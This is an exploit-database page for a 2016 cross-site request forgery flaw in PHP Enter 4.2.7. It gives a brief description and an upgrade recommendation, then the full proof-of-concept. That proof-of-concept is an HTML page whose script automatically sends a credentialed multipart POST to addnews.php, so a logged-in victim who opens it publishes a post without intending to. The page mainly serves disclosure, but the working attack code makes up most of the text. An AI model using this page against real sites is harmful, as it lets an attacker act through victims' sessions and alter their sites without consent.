header-logo
Suggest Exploit
vendor:
PHP Enter
by:
Besim
8,8
CVSS
HIGH
Cross-Site Request Forgery
352
CWE
Product Name: PHP Enter
Affected Version From: 4.2.7
Affected Version To: 4.2.7
Patch Exists: YES
Related CWE: N/A
CPE: a:phpenter:php_enter
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2016

PHP Enter 4.2.7 – Cross-Site Request Forgery (Add New Post)

A Cross-Site Request Forgery (CSRF) vulnerability exists in PHP Enter 4.2.7 which allows an attacker to add a new post to the blog without authentication. The vulnerability exists due to the lack of CSRF protection in the 'addnews.php' script, which is called when a user submits a new post. An attacker can leverage this vulnerability to add a new post to the blog without authentication.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to upgrade to the latest version of the software.
Source

Exploit-DB raw data:

<!--
# Exploit Title :              PHP Enter 4.2.7 - Cross-Site Request Forgery  (Add New Post)
# Author :                      Besim
# Google Dork :                 -
# Date :                         11/10/2016
# Type :                         webapps
# Platform :                    PHP  
# Vendor Homepage :   http://www.phpenter.net
# Software link :            http://www.hotscripts.com/listings/jump/download/150217

########################### CSRF PoC ###############################
-->

<html>
  <!-- CSRF PoC  -->
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://site_name/path/addnews.php", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------4485886114928592041224662482");
        xhr.withCredentials = true;
        var body = "-----------------------------4485886114928592041224662482\r\n" + 
          "Content-Disposition: form-data; name=\"univer\"\r\n" + 
          "\r\n" + 
          "2016074155\r\n" + 
          "-----------------------------4485886114928592041224662482\r\n" + 
          "Content-Disposition: form-data; name=\"idblog\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------4485886114928592041224662482\r\n" + 
          "Content-Disposition: form-data; name=\"usercc\"\r\n" + 
          "\r\n" + 
          "root\r\n" + 
          "-----------------------------4485886114928592041224662482\r\n" + 
          "Content-Disposition: form-data; name=\"editor\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------4485886114928592041224662482\r\n" + 
          "Content-Disposition: form-data; name=\"badress\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------4485886114928592041224662482\r\n" + 
          "Content-Disposition: form-data; name=\"bname\"\r\n" + 
          "\r\n" + 
          "Test\r\n" + 
          "-----------------------------4485886114928592041224662482\r\n" + 
          "Content-Disposition: form-data; name=\"summary\"\r\n" + 
          "\r\n" + 
          "Test\r\n" + 
          "-----------------------------4485886114928592041224662482\r\n" + 
          "Content-Disposition: form-data; name=\"image\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------4485886114928592041224662482\r\n" + 
          "Content-Disposition: form-data; name=\"main\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------4485886114928592041224662482\r\n" + 
          "Content-Disposition: form-data; name=\"amess\"\r\n" + 
          "\r\n" + 
          "\x3cp\x3eTestttt\x3c/p\x3e\r\n" + 
          "-----------------------------4485886114928592041224662482\r\n" + 
          "Content-Disposition: form-data; name=\"query\"\r\n" + 
          "\r\n" + 
          "Submit\r\n" + 
          "-----------------------------4485886114928592041224662482--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>